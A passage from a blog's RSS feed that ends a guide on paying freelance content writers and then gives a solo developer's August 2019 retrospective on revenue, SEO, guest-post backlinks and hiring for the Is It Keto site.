&lt;p>&lt;strong>Pay per article&lt;/strong> is the most common arrangement for experienced freelance writers, but I chose &lt;strong>pay per hour&lt;/strong> for Is It Keto for two reasons:&lt;/p>
&lt;ol>
&lt;li>Is It Keto articles vary widely in length and difficulty, so it&amp;rsquo;s difficult to assign fair per-article rates.&lt;/li>
&lt;li>Hourly pay lets me request non-writing work from my freelancers (e.g., studying my &lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/#use-a-style-guide-to-enforce-consistency">style guide&lt;/a>, meeting me for &lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/#meet-regularly-in-person-or-on-video-chat">periodic check-ins&lt;/a>) without pressuring them to volunteer their time for free.&lt;/li>
&lt;/ol>
&lt;p>Other hiring guides discourage clients from paying per hour because it&amp;rsquo;s &amp;ldquo;too expensive.&amp;rdquo; This is plainly illogical. If you want work of a certain quality, it costs the same amount regardless of how you structure the pay. You can&amp;rsquo;t trick a writer into producing the same quality work for lower costs.&lt;/p>
&lt;p>I pointedly avoid paying per word because I want concise writing. Paying by the word incentivizes writers to include &lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/#steer-clear-of-fluff-factories">fluff content&lt;/a> that adds nothing to the article.&lt;/p>
&lt;p>Other guides criticize hourly wages for the same perverse incentives. They claim that if you pay writers by the hour, they have no incentive to work quickly or produce quality writing. They earn more if the piece takes longer and requires more revisions, so why bother doing a good job?&lt;/p>
&lt;p>In my experience, talented people deliver quality work if you empower them to do so. If you start micromanaging them or create systems that shift all financial penalties onto them, the relationship becomes adversarial, and the work suffers.&lt;/p>
&lt;h2 id="how-much-should-you-pay">How much should you pay?&lt;/h2>
&lt;p>Which writer costs more in the long run?&lt;/p>
&lt;ul>
&lt;li>A writer who charges $30/hr&lt;/li>
&lt;li>A writer who charges $40/hr&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Answer&lt;/strong>: Not enough information.&lt;/p>
&lt;p>To understand why, consider the total cost of producing an article, given by the formula below:&lt;/p>
&lt;!-- markdownlint-disable no-space-in-emphasis -->
&lt;p>&lt;img src="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/cost-formula.svg" alt="Cost per article = (Freelancer&amp;rsquo;s time writing the article * freelancer&amp;rsquo;s wage) + (Your time editing the article * value of your time)" title="Cost per article = (Freelancer's time writing the article * freelancer's wage) + (Your time editing the article * value of your time)">&lt;/p>
&lt;p>For example, in February, I &lt;a href="https://mtlynch.io/retrospectives/2019/03/#diving-into-my-content-costs">calculated&lt;/a> that each article took my writer about 2.3 hours to write and required 37.5 minutes of my time to edit. I paid the writer $20/hr, and I valued my own time at $30/hr, so the total cost for each article was:&lt;/p>
&lt;p>&lt;img src="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/cost-example.svg" alt="Cost per article = (2.3 hours * $20/hr) + (0.625 hours * $30/hr) = $64.75 per article" title="Cost per article = (2.3 hours * $20/hr) + (0.625 hours * $30/hr) = $64.75 per article">&lt;/p>
&lt;!-- markdownlint-enable no-space-in-emphasis -->
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: This applies specifically to &lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/#pay-per-hour-per-word-or-per-article">pay per hour structure&lt;/a>. If you&amp;rsquo;re paying per word or per article, check &lt;a href="http://whopayswriters.com">Who Pays Writers&lt;/a> to get a sense of market rates for publications similar to yours.
&lt;/div>

&lt;p>A writer&amp;rsquo;s hourly rate is meaningless unless you know how quickly they work and how much editing they require. I typically pay writers their asking rate, then use a &lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/#start-a-paid-trial">trial hire&lt;/a> to evaluate whether they&amp;rsquo;re worth the money.&lt;/p>
&lt;p>There are limits, of course. I never pay more than $60/hr because it&amp;rsquo;s simply too expensive to run trial hires at that rate, given how few of them work out.&lt;/p>
&lt;p>The table below shows the rates I paid depending on how I foud the candidate:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Candidate source&lt;/th>
 &lt;th>What I paid&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/#college-job-boards">College job boards&lt;/a>&lt;/td>
 &lt;td>$13-$15/hr&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/#upwork">Upwork&lt;/a>&lt;/td>
 &lt;td>$20-$65/hr &lt;sup>1&lt;/sup>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/#personal-referrals">Personal referrals&lt;/a>&lt;/td>
 &lt;td>$50-60/hr&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>&lt;small>&lt;sup>1&lt;/sup> The $65/hr writer was one of my first hires, and that rate was far too expensive given their writing quality. Today, I wouldn&amp;rsquo;t hire someone at $65/hr unless I was supremely confident in their writing.&lt;/small>&lt;/p>
&lt;h2 id="screening-writers">Screening writers&lt;/h2>
&lt;p>By this point, you&amp;rsquo;ve created a job description and shown it to potential writers. Now, it&amp;rsquo;s time to decide how to screen the candidates who apply for your job.&lt;/p>
&lt;hr>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Two - Creating a Detailed Job Description&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Thanks to my writer, &lt;a href="https://www.morganprovince.com/">Morgan Province&lt;/a>, for offering insight to help me create this guide. Special thanks to Alexis Grant of The Write Life for volunteering her time to provide me with feedback.&lt;/em>&lt;/p></content:encoded></item><item><title>Is It Keto - Month 8</title><link>https://mtlynch.io/retrospectives/2019/09/</link><pubDate>Fri, 06 Sep 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/09/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> continued its streak of growth, with a 72% jump in revenue to an all-time high of $389 for August.&lt;/li>
&lt;li>Given that Is It Keto is doing better than any of my other projects, I decided to stop ignoring it.&lt;/li>
&lt;li>I finally got a high-ranking domain to link to Is It Keto, but the experience soured me on guest posts.&lt;/li>
&lt;li>&lt;a href="https://zestfuldata.com/">Zestful&lt;/a> had its best month ever, earning $728 in revenue.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2019/08/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> continued its streak of growth, with a 72% jump in revenue to an all-time high of $389 for August.&lt;/li>
&lt;li>Given that Is It Keto is doing better than any of my other projects, I decided to stop ignoring it.&lt;/li>
&lt;li>I finally got a high-ranking domain to link to Is It Keto, but the experience soured me on guest posts.&lt;/li>
&lt;li>&lt;a href="https://zestfuldata.com/">Zestful&lt;/a> had its best month ever, earning $728 in revenue.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2019/08/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-new-blog-post-on-mtlynchio">Publish a new blog post on &lt;a href="https://mtlynch.io/">mtlynch.io&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I published &lt;a href="https://mtlynch.io/dumbest-task-i-ever-outsourced/">&amp;ldquo;The Dumbest Task I Ever Outsourced.&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>The article was a mostly-for-fun story about one of my early blunders with outsourcing. I like the way it came out, but it didn&amp;rsquo;t attract many readers.&lt;/p>
&lt;p>I find myself &amp;ldquo;chasing the high&amp;rdquo; in wanting another hit article, as none of my blog posts have garnered much of a response since, &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">&amp;ldquo;My First Year as a Solo Developer,&amp;rdquo;&lt;/a> published 7 months ago. My next article will be about hiring a content writer, which I imagine will be fairly niche. After that, I plan to write about how developers can improve their writing, and that may have broader appeal.&lt;/p>
&lt;h3 id="publish-an-mvp-for-my-email-copywriter-tool-idea">Publish an MVP for my &lt;a href="https://mtlynch.io/retrospectives/2019/07/#slowing-down-on-the-email-tool-for-copywriters">email copywriter tool idea&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I abandoned this goal and focused instead on expanding Is It Keto.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>As I was writing my July retrospective, I &lt;a href="https://mtlynch.io/retrospectives/2019/08/#is-it-keto">questioned my decision&lt;/a> to keep ignoring Is It Keto, given that it&amp;rsquo;s my only successful project. I ended up thinking that thought more and decided to postpone the new product in favor of returning my focus to Is It Keto for a while.&lt;/p>
&lt;p>I&amp;rsquo;m still interested in pursuing the email tool idea, but I&amp;rsquo;ve deferred it to October at the earliest.&lt;/p>
&lt;h3 id="prep-what-got-done-for-the-backburner">Prep What Got Done for the backburner&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I&amp;rsquo;ve wrapped up the loose ends so it can run with minimal maintenance, but I still want to open source it.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>This took significantly longer than I expected. I underestimated how difficult it would be to implement CSRF mitigation given that What Got Done runs on a strange mix of Golang and Vue2, but that&amp;rsquo;s finally complete. I also forgot how many little hacks I put in to facilitate development on my main machine, so it took some effort to get everything working again from a clean VM.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2019&lt;/th>
 &lt;th>August 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>19,526&lt;/td>
 &lt;td>28,921&lt;/td>
 &lt;td>&lt;font color="green">+9,395 (+48%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>53,467&lt;/td>
 &lt;td>73,469&lt;/td>
 &lt;td>&lt;font color="green">+20,002 (+37%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>7&lt;/td>
 &lt;td>&lt;font color="green">+1 (+17%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>1,442&lt;/td>
 &lt;td>2,205&lt;/td>
 &lt;td>&lt;font color="green">+763 (+53%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$71.49&lt;/td>
 &lt;td>$227.25&lt;/td>
 &lt;td>&lt;font color="green">+$155.76 (+218%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$153.98&lt;/td>
 &lt;td>$152.55&lt;/td>
 &lt;td>&lt;font color="red">-$1.43 (-1%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$225.47&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$379.80&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$154.33 (+68%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto continued to grow at a rapid rate. Amazon Affiliate earnings stayed flat, which is a bit worrying given that pageviews increased so rapidly, but Google AdSense bolstered revenues, as August was the first full month I ran AdSense ads.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2019&lt;/th>
 &lt;th>August 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Total Earnings&lt;/td>
 &lt;td>$59.57&lt;/td>
 &lt;td>$728.49&lt;/td>
 &lt;td>&lt;font color="green">+$668.92 (+1123%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>August was Zestful&amp;rsquo;s best month, though literally 99% of the revenue from a single customer who needed to bulk convert a huge dataset of ingredients, so I can&amp;rsquo;t expect similar revenue in the future.&lt;/p>
&lt;h2 id="taking-affiliate-revenue-advice-from-reddit">Taking affiliate revenue advice from reddit&lt;/h2>
&lt;p>I recently discovered &lt;a href="https://www.reddit.com/r/juststart/">/r/juststart&lt;/a>, a subreddit dedicated to affiliate revenue businesses. The challenge of taking advice from reddit is that it attracts both helpful experts and random lunatics who have no idea what they&amp;rsquo;re talking about, so it can be tricky for non-experts to figure out which is which.&lt;/p>
&lt;p>I &lt;a href="https://redd.it/cmslmx">posted a thread&lt;/a> about Is It Keto, and here were my key takeaways:&lt;/p>
&lt;ul>
&lt;li>I should focus on getting other sites to link to Is It Keto.
&lt;ul>
&lt;li>This is something I had heard before. I &lt;a href="https://mtlynch.io/retrospectives/2019/04/#biggest-challenge-link-building">tried for a month&lt;/a> to get links from other keto sites, but they weren&amp;rsquo;t interested. The reddit commenters suggested instead approaching non-keto sites that have some connection to health or lifestyle.&lt;/li>
&lt;li>&lt;strong>Result&lt;/strong>: I got one new site to link to me (more on that &lt;a href="#finally-a-backlink-for-is-it-keto">below&lt;/a>).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Is It Keto&amp;rsquo;s page titles should better match common search terms.
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I changed my page titles from the format of &amp;ldquo;[Food] - Is It Keto&amp;rdquo; to &amp;ldquo;Is [Food] Keto? - Is It Keto&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/09/page-titles.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/09/page-titles_hu_ed44a24587098b87.jpg 300w, https://mtlynch.io/retrospectives/2019/09/page-titles_hu_e153a6d00161cefd.jpg 600w, https://mtlynch.io/retrospectives/2019/09/page-titles_hu_7c4a6134744d8b14.jpg 800w, https://mtlynch.io/retrospectives/2019/09/page-titles.jpg 825w'
 src="https://mtlynch.io/retrospectives/2019/09/page-titles.jpg" alt="Before and after comparison of Is It Keto in Google search results" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Changing Is It Keto page titles to better match search queries&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>Is It Keto should have dropdowns navigation menus so that it&amp;rsquo;s easier for users to browse different food categories.
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I added dropdown menus to the navigation bar.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/09/navbar.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/09/navbar_hu_e5ea30d3862f848b.jpg 300w, https://mtlynch.io/retrospectives/2019/09/navbar_hu_5394ce3fccfb3336.jpg 600w, https://mtlynch.io/retrospectives/2019/09/navbar_hu_94b9f1bc5fb2f32a.jpg 800w, https://mtlynch.io/retrospectives/2019/09/navbar.jpg 1128w'
 src="https://mtlynch.io/retrospectives/2019/09/navbar.jpg" alt="Before and after screenshots of Is It Keto navbar" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Redesigned navbar on Is It Keto&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>I should promote Is It Keto on Pinterest.
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I created a &lt;a href="https://pinterest.com/isitketo/">Pinterest page&lt;/a> and added 14 pins, but it&amp;rsquo;s time-consuming to create the graphics, and my referrals from Pinterest remain at nearly zero. I need help from someone who understands Pinterest, but I can&amp;rsquo;t afford a Pinterest consultant at the moment.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/09/pinterest.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/09/pinterest_hu_5fc965443495dbe4.jpg 300w, https://mtlynch.io/retrospectives/2019/09/pinterest_hu_c53465980cc8a0ee.jpg 600w, https://mtlynch.io/retrospectives/2019/09/pinterest_hu_27ab73e4124f5a6f.jpg 800w, https://mtlynch.io/retrospectives/2019/09/pinterest.jpg 845w'
 src="https://mtlynch.io/retrospectives/2019/09/pinterest.jpg" alt="Screenshot of Is It Keto&amp;#39;s Pinterest page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto&amp;rsquo;s unsuccessful Pinterest page&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="finally-a-backlink-for-is-it-keto">Finally a backlink for Is It Keto&lt;/h2>
&lt;p>I&amp;rsquo;ve known for a long time that Is It Keto would be much stronger if other sites linked to it. I spent most of &lt;a href="https://mtlynch.io/retrospectives/2019/04/#biggest-challenge-link-building">March&lt;/a> unsuccessfully trying to get other keto blogs to link to me. In the &lt;a href="#taking-affiliate-revenue-advice-from-reddit">/r/juststart thread&lt;/a>, someone suggested approaching keto-adjacent sites like motherhood blogs or general fitness blogs and offering to write a post for them.&lt;/p>
&lt;p>This seemed sensible, but I had a tough time approaching it. The well-known sites like Men&amp;rsquo;s Health probably wouldn&amp;rsquo;t be interested in guest posts from an unknown author. I needed to find sites that were big enough that they&amp;rsquo;d improve Is It Keto&amp;rsquo;s search ranking but small enough that they accept guest posts. But how do you find sites that are &amp;ldquo;middle-tier?&amp;rdquo;&lt;/p>
&lt;p>With the assumption that local fitness bloggers might be more friendly to a nearby blogger, I used search terms like &amp;ldquo;fitness western massachusetts.&amp;rdquo; One of the sites I found was the local blog for a gym chain called &lt;a href="https://fitnesstogether.com">Fitness Together&lt;/a>, with a 55/100 score from &lt;a href="https://ahrefs.com/backlink-checker">Ahrefs&lt;/a>. Coincidentally, my sister had a contact there, so I reached out about writing a guest post for them. They agreed to the idea, I wrote a new article for them, and they published it a couple weeks later: &lt;a href="https://fitnesstogether.com/northampton/blog/five-benefits-of-health-training">&amp;ldquo;Five Benefits of Strength Training.&amp;rdquo;&lt;/a>&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://fitnesstogether.com/northampton/blog/five-benefits-of-health-training">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/09/guest-post_hu_90a6995f0130b284.jpg 300w, https://mtlynch.io/retrospectives/2019/09/guest-post_hu_ac663fbb90bc71c5.jpg 600w, https://mtlynch.io/retrospectives/2019/09/guest-post_hu_302cd95bc8871dd7.jpg 800w, https://mtlynch.io/retrospectives/2019/09/guest-post.jpg 933w'
 src="https://mtlynch.io/retrospectives/2019/09/guest-post.jpg" alt="Screenshot of my blog post on Fitness Together&amp;#39;s blog" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My guest post on the Fitness Together Northampton blog&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It&amp;rsquo;s unclear if that new link makes any difference. The Fitness Together root domain is valuable, but Google may recognize that the &lt;a href="https://fitnesstogether.com/northampton/blog">blog for a city-specific location&lt;/a> is not as significant as Fitness Together&amp;rsquo;s &lt;a href="https://fitnesstogether.com/blog">main blog&lt;/a>.&lt;/p>
&lt;p>My main takeaway is that I find it unpleasant to write guest posts. Obviously, I write frequently on this site, but that feels different because I&amp;rsquo;m writing about topics about which I feel especially passionate or able to contribute something unique. With guests posts about health and fitness, I don&amp;rsquo;t have a passion for the writing, even though the Fitness Together folks were very friendly and cooperative.&lt;/p>
&lt;p>The other motivation-killer is the immense challenge of writing honestly about health and fitness amid a sea of clickbait. While researching my article, almost every similar blog post I found made health claims about strength training that were either unsourced entirely or sourced from meaningless studies on tiny groups of people. Writers are stuck in the position of either making sensational claims about health to drive clicks or doing five times as much research to discuss health in an informed way. Sadly, most bloggers choose the former, and readers can&amp;rsquo;t seem to tell the difference.&lt;/p>
&lt;p>My plan now is to stop writing guest posts. Instead, I&amp;rsquo;ll hire a writer who can seek out opportunities for guest posts on external sites while also adding content to Is It Keto.&lt;/p>
&lt;h2 id="college-job-boards-might-be-a-treasure-trove">College job boards might be a treasure trove&lt;/h2>
&lt;p>When I was hiring writers for Is It Keto earlier this year, I tried posting printed flyers around a local college. I only received one inquiry, and it quickly became clear that the candidate was not a good match. I didn&amp;rsquo;t invest much more into recruiting at colleges, though I did always feel like I &lt;em>should&lt;/em> be able to find a talented writer by recruiting a student.&lt;/p>
&lt;p>In August, I posted to online job boards for two local colleges. It&amp;rsquo;s only been about a week, and I&amp;rsquo;ve already received 22 inquiries from students. The quality seems to be on par with the candidate pool on freelance sites like Upwork. The difference is that the typical pay for a college student in my area is $11-15/hr, whereas similarly skilled Upwork freelancers charge $20-80/hr.&lt;/p>
&lt;p>I&amp;rsquo;ve hired a few students on a trial basis, so I&amp;rsquo;ll see how it plays out.&lt;/p>
&lt;h2 id="cool-discoveries-this-month">Cool discoveries this month&lt;/h2>
&lt;p>One of my favorite bloggers recently added &lt;a href="https://www.coryzue.com/writing/jul-2019/#recommendations">recommendations&lt;/a> to his monthly retrospectives, so I&amp;rsquo;m trying it as well. Here are the cool things I discovered this month:&lt;/p>
&lt;h3 id="victor-zhou">&lt;a href="https://victorzhou.com/">Victor Zhou&amp;rsquo;s Software and Machine Learning Blog&lt;/a>&lt;/h3>
&lt;p>Victor Zhou is a Facebook engineer who only began blogging in 2019 and already writes better than 90% of tech bloggers. He writes with clarity, conciseness, and a keen ability to explain his thought process.&lt;/p>
&lt;p>My favorite of his posts is &lt;a href="https://victorzhou.com/blog/minify-svgs/">&amp;ldquo;Minify Your SVGs&amp;rdquo;&lt;/a>. It does a great job of explaining the context of the problem and the tradeoffs of different solutions he considered.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://victorzhou.com/blog/minify-svgs/">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/09/victor-zhou_hu_d12ae85adb26aed9.jpg 300w, https://mtlynch.io/retrospectives/2019/09/victor-zhou_hu_9e4a972e40427478.jpg 600w, https://mtlynch.io/retrospectives/2019/09/victor-zhou_hu_64d93eed01780e35.jpg 800w, https://mtlynch.io/retrospectives/2019/09/victor-zhou.jpg 884w'
 src="https://mtlynch.io/retrospectives/2019/09/victor-zhou.jpg" alt="Screenshot of Victor Zhou&amp;#39;s blog" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Victor is a talented software blogger with an emphasis on machine learning&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="cory-zue">&lt;a href="http://www.coryzue.com/open/">Cory Zue&amp;rsquo;s Solopreneur Side Project Dashboard&lt;/a>&lt;/h3>
&lt;p>Cory Zue is a solo developer who writes publicly and transparently about his business projects. In August, he unveiled a dashboard that shows earnings and time investment for his different projects.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 450px">



 &lt;a href="http://www.coryzue.com/open/">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/09/solopreneur-dashboard_hu_3213f949d9dbcc46.jpg 300w, https://mtlynch.io/retrospectives/2019/09/solopreneur-dashboard_hu_9e56ab24eab3d5c3.jpg 600w, https://mtlynch.io/retrospectives/2019/09/solopreneur-dashboard_hu_177e07ec0a5245c4.jpg 800w, https://mtlynch.io/retrospectives/2019/09/solopreneur-dashboard.jpg 1009w'
 src="https://mtlynch.io/retrospectives/2019/09/solopreneur-dashboard.jpg" alt="Screenshot of Solopreneur Dashboard" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Cory Zue created a public dashboard to track his time investment and financial returns for each of his side businesses&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Particularly interesting is his effective wage for each project. It shows how his businesses required substantial up-front investment but, over time, generated increasing amounts of revenue and demanded decreasing levels of maintenance.&lt;/p>
&lt;h3 id="jimmy-lipham">&lt;a href="https://youtu.be/J_jGnGH3YsU">Jimmy Lipham&amp;rsquo;s Website Teardown Video&lt;/a>&lt;/h3>
&lt;p>As an exercise, Jimmy Lipham made a &lt;a href="https://youtu.be/J_jGnGH3YsU">live demo&lt;/a> of UI tweaks he made to &lt;a href="https://www.indiehackers.com/post/01a9c08e6b">a website that needed design help&lt;/a>.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/J_jGnGH3YsU?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>It&amp;rsquo;s useful because there are so many little techniques in the video that anyone can reuse on their own sites (I applied several of them to Is It Keto):&lt;/p>
&lt;ul>
&lt;li>He adds &lt;a href="https://css-tricks.com/snippets/css/css-box-shadow/">box shadows&lt;/a> to draw attention to certain elements on the page&lt;/li>
&lt;li>He changes the site&amp;rsquo;s backgrounds to a slightly off-white color to create contrast with page elements that have a pure white background.&lt;/li>
&lt;li>He changes the navbar background from a fixed color to a color gradient for a more pleasing visual.&lt;/li>
&lt;li>He adds a bottom border to the navbar so that it transitions more gently into the main page.&lt;/li>
&lt;li>He shows how to use the &lt;a href="https://fonts.google.com/">Google Fonts browser&lt;/a> to pick out new fonts.&lt;/li>
&lt;/ul>
&lt;p>I highly recommend watching this video because I can&amp;rsquo;t convey the full experience in writing. So much of the value is just watching Jimmy work on the page in real time and hearing him explain his rationale for each change.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://mtlynch.io/dumbest-task-i-ever-outsourced/">&amp;ldquo;The Dumbest Task I Ever Outsourced&amp;rdquo;&lt;/a> on &lt;a href="https://mtlynch.io/">mtlynch.io&lt;/a>.&lt;/li>
&lt;li>Earned a backlink for Is It Keto from a website with a high domain ranking.&lt;/li>
&lt;li>Added 10 new articles to Is It Keto.&lt;/li>
&lt;li>Made various tweaks to Is It Keto&amp;rsquo;s UI to improve usability and SEO.&lt;/li>
&lt;li>Mostly completed prep for an open source release of &lt;a href="https://whatgotdone.com">What Got Done&lt;/a>:
&lt;ul>
&lt;li>Added &lt;a href="https://portswigger.net/web-security/csrf">CSRF&lt;/a> mitigation&lt;/li>
&lt;li>Added automated daily backups&lt;/li>
&lt;li>Pulled project secrets and hardcoded IDs out of source control&lt;/li>
&lt;li>Documented lots of the codebase&lt;/li>
&lt;li>Reorganized folder and file structure&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I created (and then abandoned) a &lt;a href="https://www.pinterest.com/isitketo/">Pinterest page for Is It Keto&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Earning backlinks for Is It Keto is more viable than I previously thought, but I hate the process.&lt;/li>
